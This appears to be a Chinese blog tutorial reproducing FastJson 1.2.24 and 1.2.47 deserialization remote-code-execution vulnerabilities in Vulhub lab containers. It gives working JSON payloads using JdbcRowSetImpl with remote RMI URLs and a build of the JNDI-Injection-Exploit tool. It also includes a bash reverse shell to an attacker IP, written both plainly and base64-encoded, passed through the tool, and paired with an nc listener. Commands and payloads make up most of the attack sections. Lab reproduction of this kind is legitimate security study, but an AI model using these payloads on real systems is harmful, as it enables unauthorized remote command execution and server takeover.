fastjson(反序列化)漏洞复现

fastjson

1. 漏洞描述

​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

2. fastjson_1.2.24反序列化导致任意命令执行漏洞

Vulhub - Docker-Compose file for vulnerability environment

2.1 环境搭建

fastjson(反序列化)漏洞复现_第1张图片

使用bp自带浏览器打开fastjson页面,并进行抓包发送重发器

fastjson(反序列化)漏洞复现_第2张图片

fastjson(反序列化)漏洞复现_第3张图片

将数据包转换为POST方式,并将类型转换为json格式

fastjson(反序列化)漏洞复现_第4张图片

这里就是提交一个JSON格式的数据转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

2.2 漏洞检测

使用burp扩展FastjsonScan进行漏洞检测

fastjson(反序列化)漏洞复现_第5张图片

来到虚拟机,新建文件夹

image-20230908112059141

下载完成后在bp中安装插件

fastjson(反序列化)漏洞复现_第6张图片

点击add后选择Java语言

fastjson(反序列化)漏洞复现_第7张图片

选择扩展文件

fastjson(反序列化)漏洞复现_第8张图片

点击next—>点击close然后FastjsonScan

fastjson(反序列化)漏洞复现_第9张图片

回到重发器,右击数据包点击扩展

fastjson(反序列化)漏洞复现_第10张图片

点击扩展后进行扫描,显示是否有漏洞并且给出漏洞的POC

fastjson(反序列化)漏洞复现_第11张图片

fastjson(反序列化)漏洞复现_第12张图片

{
"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://qjdu7ihzkpjrge30gi0bm7vh58byzn.oastify.com/aaa","autoCommit":true
}
}

将POC复制到POST数据包中的文件内容

fastjson(反序列化)漏洞复现_第13张图片

POC中有RMI,什么是RMI

RMI(Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网铬上的不同计算机中。
在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化,因此,可以将RMI服务作为进行反序列化利用链的触发点。

可以将RMI理解为http协议,Java可以通过类似于http协议的RMI协议远程外部加载类

那么在这个地方有反序列化的话,去远程加载一个类或一个资源,这个位置做反序列化的话相当于做了一个反序列化的注入或对象注入。

fastjson(反序列化)漏洞复现_第14张图片

2.3 构造RMI服务器

将工具下载到虚拟机中

proxychains git clone https://github.com/welk1n/JNDI-Injectio

image-20230908144939363

fastjson(反序列化)漏洞复现_第15张图片

编译生成target目录

mvn clean package -DskipTests

fastjson(反序列化)漏洞复现_第16张图片

在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xu" -A "192.168.16.176"

fastjson(反序列化)漏洞复现_第17张图片

rmi://192.168.16.176:1099/ooy0mt

2.4 构造反弹shell脚本

bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=

fastjson(反序列化)漏洞复现_第18张图片

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

将上述的代码在target目录下使用工具生成不同版本下的rmi和ldap

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"

fastjson(反序列化)漏洞复现_第19张图片

开启监听窗口

nc -lnvp 1234

fastjson(反序列化)漏洞复现_第20张图片

3. fastjson_1.2.47

3.1 环境搭建

image-20230908162954902

3.2 漏洞检测

使用bp抓包,发送重发器

fastjson(反序列化)漏洞复现_第21张图片

将数据提交方式改为POST请求,使用bp工具扫描漏洞

fastjson(反序列化)漏洞复现_第22张图片

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

3.3 构造RMI服务器

在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

fastjson(反序列化)漏洞复现_第23张图片

rmi://192.168.16.176:1099/v42n2k

image-20230908165415507

3.4 构造反弹shell

bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"

fastjson(反序列化)漏洞复现_第24张图片

打开监听窗口

nc -lnvp 1234

fastjson(反序列化)漏洞复现_第25张图片

你可能感兴趣的:(网络安全,安全,web安全,java,反序列化)